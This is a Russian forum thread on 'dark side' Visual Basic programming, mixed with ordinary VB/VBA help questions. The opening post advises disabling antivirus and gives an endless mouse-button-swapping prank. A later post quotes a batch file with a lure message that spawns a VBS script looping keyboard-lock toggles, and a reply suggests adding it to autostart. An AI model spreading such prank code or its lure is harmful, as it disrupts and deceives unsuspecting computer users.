И так, начнем уроки «Dark side of Programming» на VB.
Начну я с того, что потребуется для запуска примеров, и как это можно сделать.
Вам понадобиться сама среда разработки, желательно VB6, но в принципе VB5 тоже сойдет, если ни того, ни другого нет, и не представляется возможности достать, то запускаем Word и жмем Alt+F11, если, конечно же, установлен VBA с пакетом офиса.
Немного расскажу о VBA и как там работать.
Начнем с того, что после запуска VBA мы должны добавить форму в наш проект, да и не забудьте отключить антивирусы, иначе они могут ругаться и т.п., надо щелкнуть на проекте правой кнопкой, выбрать пункт Insert-> UserForm. Далее мы можем размещать на форме то, что нам надо кнопки и т.п. Для запуска проекта нажмите Run.
Для VB6 мы создаем новый проект и размещаем на формах то, что нам требуется. Если мы будем работать с диалогами (пока не будем, и они нам не особо потребуются) то можно оставить форму, а если не будем, то можно форму из проекта удалить и добавить модуль, в нем написать:
Sub Main()
End Sub
Переключить возможности запуска можно в Project -> Project properties -> Startup object там как раз и выбираем или Sub Main или Form1 (хотя название формы может быть другое) . Для запуска проекта нажмите Run.
Перейдем к оформлению, те, кто уже знакомы с VB и пишут в нем можно это не читать: оформлять я буду по последнему методу через Sub Main. Все, что будет идти до строчки Sub Main(), это все что объявляется, все, что после это дополнительные процедуры и функции. Вы можете использовать форму, особенно это касается те, кто будут писать на VBA, мы ставим кнопку или прямо при загрузке формы должны писать код, он соответственно будет выполняться или при нажатии на кнопку или при загрузке формы, хотя параметров для выполнения кода может быть уйма. Так вот, два раза щелкаем на элементе, толи это кнопка толи это форма, мы переходим в область кода в процедуру, которая появилась, вставляем код заключенный между Sub Main() и End Sub, все что выше или ниже этого вставляем соответственно выше или ниже вашей процедуры.
В общем-то, все, что я хотел поведать я рассказал, остались сами примеры, те кто что-то не поняли, прошу задавать вопросы, на которые отвечу или я или другие знающие люди.
Ну вот и первый пример я не забочусь о оптимизации кода, а только переписываю примеры Хроны, некоторые команды я не знаю поэтому выкручиваясь как могу, тот кто предложит лучшую реализацию я исправлю пример
.
Код
Private Declare Function SwapMouseButton Lib "user32" (ByVal bSwap As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private FSwap As Integer
Sub Main()
FSwap = -1
While FSwap <> 1
SwapMouseButton (FSwap)
FSwap = Not FSwap
Sleep ((Rnd(4) + 1) * 100)
Wend
End Sub
Guevara-chan
30 Dec 2006, 10:01
Код
Private FSwap As Integer
Ну, вообще-то, скорее уж: As Boolean (просто в PB нет такого типа данных), и:
Код
FSwap = Not FSwap
это не сработает я проверял надо передавать 1 или -1 чтобы инвертировать кнопки мыши и 0 чтобы восстановить
Guevara-chan
30 Dec 2006, 12:44
Цитата(Bourn @ 30 Dec 2006, 13:21)
это не сработает я проверял надо передавать 1 или -1 чтобы инвертировать кнопки мыши и 0 чтобы восстановить
А разве True не равно -1 и False не равно 0 ?
странно а почему у меня выходит что not -1 = 1 ?
Guevara-chan
30 Dec 2006, 15:03
Цитата(Bourn @ 30 Dec 2006, 14:41)
странно а почему у меня выходит что not -1 = 1 ?
Странно... Весьма. Гм, а Not True ?
DracoLich
03 Jan 2007, 08:07
Вопрос не в тему, но нужен:
Есть Combobox под именем Cm1... Нужно, чтобы после выбора 1 пункта Combobox под именем Cm2 блокировалась... Какой код нужен?
2 DracoLich
такой
Код
Private Sub Cm1_Click()
If Cm1.ListIndex = 0 Then Cm2.Enabled = False
End Sub
при этом лучше чтобы style был dropdownlist
DracoLich
03 Jan 2007, 10:15
Спасиб, работает... Еще - как вывести показ переменной в тексте?
Вот код:
vars = val(txt.text)
txt1.text = "Для примера: s="
Что нужно дописать, чтоб значение s вставилось?
а s у тебя чему равно?
и зачем vars = val(txt.text)?
если s типа string то просто
txt1.text = "Для примера: s="+s
если нет, то
txt1.text = "Для примера: s="+str(s)
izrukvruki
10 Jan 2007, 10:15
У меня две маленькие просьбы:
1) дабы не лазить в тему по PB созданной Хроной, можно и в этой теме писать что делает написанная программа
2) маленько и про язык рассказывать (например в первом примере можно было бы рассказать про существуемые типы данных и про правила их объявления)
Спасибо
буду комментировать прогу, щас просто не переписываю примеры, тк времени нет экзамены (например следующий экзамен через 3 часа
)
DracoLich
13 Jan 2007, 19:57
Цитата
а s у тебя чему равно?
и зачем vars = val(txt.text)?
если s типа string то просто
txt1.text = "Для примера: s="+s
если нет, то
txt1.text = "Для примера: s="+str(s)
Дело в том, что мне нужно несколько переменных в одном сообщении, и они текстовые, т.е. типа "Они пошли в ...(переменная s), и там их встретил ...(переменная d)"
И еще: как можно "заблокировать" выпадающие таблицы? А то я могу и выбирать, и писать свой вариант, что мне совсем не нужно...
2 DracoLich
1)читай лучше посты
http://forum.df2.ru/index.php?showtopic=47...ndpost&p=1437992)txt1.text ="Они пошли в "+s+", и там их встретил "+d
и тп
izrukvruki
06 Feb 2007, 15:41
А как называется элемент управления в который можно вставит/написать несколько абзацев?
RichEdit
ну или TextEdit с включенным MultiLine
gamecreator
06 Feb 2007, 21:01
да и почему в текст едит с мультилайн вручную только 1 строку можно вписать?
izrukvruki
07 Feb 2007, 09:32
Спасибо Бёрн. Через shift+enter можно несколько строк.
Только у меня что-то русский текст пропадает, когда я его в документ вставляю из поля ТекстЭдит, англицкий текст и цифры нормально встают, а русские буквы заменяются пробелами (или еще чем-то непойму)
1)ну обычно я юзаю ctrl+enter
2)попробуй "кирилицу" для документа сделать(разберишь с шрифтами и кодировками)
izrukvruki
07 Feb 2007, 16:22
Чтоб было можно абзац энтером делать я почтавил EnterKeyBehavior значение true...
Про кирилицу надо попробовать... Спасибо
gamecreator
07 Feb 2007, 18:12
да кстати как прописать кириллицу на кнопочках?
а зачем значение Want_return?
1)в смысле прописать?у тебя корректно она не отображается?
2)непонял, ты где это нашел?
izrukvruki
08 Feb 2007, 16:54
Want_return тоже не нашел... в справке тоже не нашел.
gamecreator
08 Feb 2007, 21:10
Борн, вот скрины:
до компиляции -
http://gcr.by.ru/1.jpgпосле компиляции -
http://gcr.by.ru/2.jpgwant_return -
http://gcr.by.ru/3.jpg
2 gamecreator
так это вобще VC...
насчет кодировки не понял, насчет want_return не знаю могу предположить что может ожидает текстбокс какого то отклика или помещения курсора или еще че
gamecreator
08 Feb 2007, 23:45
хоть и оффтоп, но как сделать возможность абзаца в текстбоксе в VC++?
izrukvruki
09 Feb 2007, 11:38
1) а как называется вот такой элемент
.
2) если у меня в ТексВокс некое значение, я его меняю, далее хочу закрыть форму, как мне сохранить в том поле значение которое я ввел, чтоб при следующем открытии оно там стояло. Форму я закрываю Unload UserForm....
gamecreator
09 Feb 2007, 18:19
1) list box
2) эта форма кусок какой-то проги или главное окно? Если кусок проги, то просто огласить ее глобальной, а при открытии формы устанавливать. Если же это главное окно проги, то можно сохранить значение в файле или в реестре
2 gamecreator
всмысле возможность абзаца? что это значит я не очень понял, поэтому предложу юзать Tab
2 izrukvruki
1)в делфи вроде есть такой компонент, а в вб придеться изощряться со scrollbar'ом
2)верно gamecreator ответил
gamecreator
09 Feb 2007, 19:10
0)Абзац=новая строка
Цитата(izrukvruki @ 07 Feb 2007, 16:22)
Чтоб было можно абзац энтером делать я почтавил EnterKeyBehavior значение true...
1)можно поставить spin и текстовое поле (если конечно в ВБ есть спин)
Цитата(gamecreator @ 09 Feb 2007, 19:10)
0)Абзац=новая строка
типа перевод строки? multiline не катит?
gamecreator
09 Feb 2007, 20:36
неа. можно только вставить мультилайн, а написать нельзя.
izrukvruki
13 Feb 2007, 17:34
Как мне значение переменной из одной процедуры передать в другую...
вот например сначала идет
Private Sub CommandButton1_Click()
bukva = "exp"
End Sub
Далее (в другом месте но программа этаже) хочу вот так
Private Sub CommandButton1_Click()
ex_n = "E:\" + TextBox3 + bukva + ".eps"
End Sub
переменная bukva - во втором случае не определена (bukva ="")
объяви переменную глобально
в форме
dim bukva as string
или
private bukva as string
если из модуля то
public bukva as string
izrukvruki
19 Feb 2007, 11:13
В VB 6 команда
Mid(path, n, 2) работает, а в vb 6.3 не работает - выдает ошибку компилятора (подсвечивает слово MID)... почему???
В начале пишу так
dim path as string
dim x as string
dim n as long
path="1234567"
n=4
x= Mid(path, n, 2)
1)у меня стоит VB6.6 попробуй до него обновить
2)попробуй написать без объявления переменных
3)попробуй написать одну строчку msgbox(mid("1234567", 4, 2))
4)ты это пишешь в чистом модуле?
izrukvruki
19 Feb 2007, 16:13
1) не могу, ибо на работе - у меня работает (VB6.0), а рядом на компе не работает (6,3)
2) без объявления переменных, тем более не работает у него (а у меня работает, поэтому пришлось вначале написоть Option Explicit)
3) у меня выскакивает "45", а у соседа опять ошибка и MID подсвечивает
4) вроде в чистом. вообще-то у меня VBA. Форма есть с кнопкой, нажимаю и началась процедура в которой есть эта функция
те ты пишешь через office? а сосед?
izrukvruki
20 Feb 2007, 11:27
Не в Офисе, а в CorelDraw10...
Спросил у системщика, почему разные версии VBA стоят, он же Корел с одного и того же диска ставил, он сказал, что возможно у соседа версия 6,3 выскочила в кореле из офиса (или из какой нибудь другой - более свежей проги, чем корел10), который у соседа ставился после корела, а у меня сначала офис потом корел - это возможно??? И системщик сказал, что еще возможно из-за ОС - у меня 98, у соседа 2000...
Наверное ему просто корел10 переустановить надо - но у нас системщик очень труден на подъем...
izrukvruki
27 Feb 2007, 11:29
Такая ситуация: сначала открываю файл, и пересохраняю его
OpenDocument Name1
...
ActiveDocument.SaveAs Name2
Но вот если Name2 открыт - вылетает ошибка. может быть можно как-то провести проверку на открыт файл или не открыт???
On Error Resume Next
конечно ошибку игнорирует и не вылетает, но хотелось бы ошибку отловить и предотвратить
на счет VBA я не знаю но можно ошибку отловить
On Error Resume goto label
тут код
label:
msgbox err.description
izrukvruki
28 Dec 2007, 15:31
Я наверное всех заманал со своим Бейсиком, но объясните дурачине:
как в переменную записывать из файла данные?
и как обратно, потом данные заисать в файл?
gamecreator
28 Dec 2007, 22:03
мб read, write?
izrukvruki
29 Dec 2007, 09:13
это в паскале... тут что-т типо input и print
но я не знаю как файлы открывать и как к ним обращаться
gamecreator
29 Dec 2007, 14:29
тьху, действительно с паскалем перепутал
Новая фича БОРа:
Цитата(bash.org.ru)
Код
Yyy: Приветик Зайка моя вставь этот текст в txt документ, в расширении поставь .bat открой его и увидишь свою судьбу!!!
echo Chr(39)>%temp%\temp1.vbs
echo Chr(39)>%temp%\temp2.vbs
echo on error resume next > %temp%\temp.vbs
echo Set S = CreateObject("Wscript.Shell") >> %temp%\temp.vbs
echo set FSO=createobject("scripting.filesystemobject")>>%temp%\temp.vbs
echo do >> %temp%\temp.vbs
echo wscript.sleep 200 >> %temp%\temp.vbs
echo s.sendkeys"{capslock}" >> %temp%\temp.vbs
echo wscript.sleep 200 >> %temp%\temp.vbs
echo s.sendkeys"{numlock}" >> %temp%\temp.vbs
echo wscript.sleep 200 >> %temp%\temp.vbs
echo s.sendkeys"{scrolllock}" >> %temp%\temp.vbs
echo loop>> %temp%\temp.vbs
start %temp%\temp.vbs
start %temp%\temp1.vbs
start %temp%\temp2.vbs
А вы говорите, Dark Side...
Добавлено ([mergetime]1202465393[/mergetime]):
(не делайте так, если не уверены!)
Shaidar Haran
08 Feb 2008, 13:39
А если сделали - убейте scipthost в диспетчере запущенных процессов.
ИЛИ пЕРЕзагрУЗИтьсЯ... А ИМЕнно- УБРать ПРОЦесс WScriPt.Exe.
Shaidar Haran
08 Feb 2008, 14:03
Цитата(Irh @ 08 Feb 2008, 15:48)
ИЛИ пЕРЕзагрУЗИтьсЯ... А ИМЕнно- УБРать ПРОЦесс WScriPt.Exe.
а, да, scripthost и есть wscript.exe
еще прикольно все это хозяйство совать в автозагрузку